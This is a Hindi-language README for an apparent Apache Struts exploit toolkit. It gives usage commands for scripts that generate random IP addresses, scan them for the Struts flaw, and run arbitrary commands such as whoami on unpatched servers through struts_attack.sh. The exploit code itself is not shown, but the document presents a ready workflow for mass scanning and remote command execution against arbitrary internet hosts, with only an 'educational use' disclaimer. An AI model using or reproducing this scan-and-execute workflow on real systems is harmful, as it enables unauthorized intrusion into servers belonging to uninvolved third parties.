
यह परियोजना Apache Struts भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है। लक्ष्य ऐसा सॉफ़्टवेयर बनाना था जो ऊपर वर्णित भेद्यता के लिए यादृच्छिक IP पतों को उत्पन्न और परीक्षण कर सके।
इस परियोजना का उपयोग अपने जोखिम पर और केवल शैक्षिक उद्देश्य के लिए करें।
cURL
Nmap
यादृच्छिक IP पते उत्पन्न करें और उन्हें एक टेक्स्ट फ़ाइल में सहेजें।
./get_ip.sh [Number of hosts to scan] [What port to scan] [Filename to write output]
./get_ip.sh 10000 80 output.txt
किसी विशिष्ट IP पते के लिए भेद्यता की जाँच करें।
./struts_check.sh [ip address] [port]
./struts_check.sh 127.0.0.1 80
IP पतों की सूची के लिए भेद्यता की जाँच करें।
./main.sh [Text file containing IP adresses] [Port]
./main.sh output.txt 443
Apache Struts भेद्यता पैच के बिना सर्वर पर एक कमांड निष्पादित करें
./struts_attack.sh [IP Adres] [Command]
./struts_attack.sh https://127.0.0.1 whoami